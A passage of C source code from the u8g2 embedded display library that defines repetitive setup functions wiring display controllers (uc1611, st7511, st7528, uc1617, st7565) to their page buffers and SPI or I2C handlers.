*buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_cg160160, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 2 */\nvoid u8g2_Setup_uc1611_cg160160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_cg160160, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 f */\nvoid u8g2_Setup_uc1611_cg160160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_cg160160, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 */\n/* uc1611 1 */\nvoid u8g2_Setup_uc1611_i2c_cg160160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_cg160160, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 2 */\nvoid u8g2_Setup_uc1611_i2c_cg160160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_cg160160, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 f */\nvoid u8g2_Setup_uc1611_i2c_cg160160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_cg160160, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 */\n/* uc1611 1 */\nvoid u8g2_Setup_uc1611_ids4073_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ids4073, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 2 */\nvoid u8g2_Setup_uc1611_ids4073_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ids4073, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 f */\nvoid u8g2_Setup_uc1611_ids4073_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ids4073, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 */\n/* uc1611 1 */\nvoid u8g2_Setup_uc1611_i2c_ids4073_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ids4073, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 2 */\nvoid u8g2_Setup_uc1611_i2c_ids4073_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ids4073, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1611 f */\nvoid u8g2_Setup_uc1611_i2c_ids4073_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1611_ids4073, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7511 */\n/* st7511 1 */\nvoid u8g2_Setup_st7511_avd_320x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7511_avd_320x240, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7511 2 */\nvoid u8g2_Setup_st7511_avd_320x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7511_avd_320x240, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7511 f */\nvoid u8g2_Setup_st7511_avd_320x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7511_avd_320x240, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7528 */\n/* st7528 1 */\nvoid u8g2_Setup_st7528_nhd_c160100_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7528_nhd_c160100, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7528 2 */\nvoid u8g2_Setup_st7528_nhd_c160100_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7528_nhd_c160100, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7528 f */\nvoid u8g2_Setup_st7528_nhd_c160100_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7528_nhd_c160100, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7528 */\n/* st7528 1 */\nvoid u8g2_Setup_st7528_i2c_nhd_c160100_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7528_nhd_c160100, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7528 2 */\nvoid u8g2_Setup_st7528_i2c_nhd_c160100_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7528_nhd_c160100, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7528 f */\nvoid u8g2_Setup_st7528_i2c_nhd_c160100_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7528_nhd_c160100, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_13_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7528 */\n/* st7528 1 */\nvoid u8g2_Setup_st7528_erc16064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7528_erc16064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7528 2 */\nvoid u8g2_Setup_st7528_erc16064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7528_erc16064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7528 f */\nvoid u8g2_Setup_st7528_erc16064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7528_erc16064, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7528 */\n/* st7528 1 */\nvoid u8g2_Setup_st7528_i2c_erc16064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7528_erc16064, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7528 2 */\nvoid u8g2_Setup_st7528_i2c_erc16064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7528_erc16064, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7528 f */\nvoid u8g2_Setup_st7528_i2c_erc16064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7528_erc16064, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1617 */\n/* uc1617 1 */\nvoid u8g2_Setup_uc1617_jlx128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1617_jlx128128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1617 2 */\nvoid u8g2_Setup_uc1617_jlx128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1617_jlx128128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1617 f */\nvoid u8g2_Setup_uc1617_jlx128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1617_jlx128128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1617 */\n/* uc1617 1 */\nvoid u8g2_Setup_uc1617_i2c_jlx128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1617_jlx128128, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1617 2 */\nvoid u8g2_Setup_uc1617_i2c_jlx128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1617_jlx128128, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* uc1617 f */\nvoid u8g2_Setup_uc1617_i2c_jlx128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_uc1617_jlx128128, u8x8_cad_uc16xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7565 */\n/* st7565 1 */\nvoid u8g2_Setup_st7565_ea_dogm128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ea_dogm128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_lm6063_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lm6063, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_64128n_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_64128n, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_zolen_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_zolen_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_lm6059_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lm6059, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_ks0713_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ks0713, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_lx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_erc12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_erc12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_erc12864_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_erc12864_alt, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_nhd_c12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_nhd_c12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7565 2 */\nvoid u8g2_Setup_st7565_ea_dogm128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ea_dogm128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_lm6063_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lm6063, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_64128n_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_64128n, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_zolen_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_zolen_128x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_lm6059_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lm6059, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_ks0713_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_ks0713, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_lx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_lx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st7565_erc12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7565_erc12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid 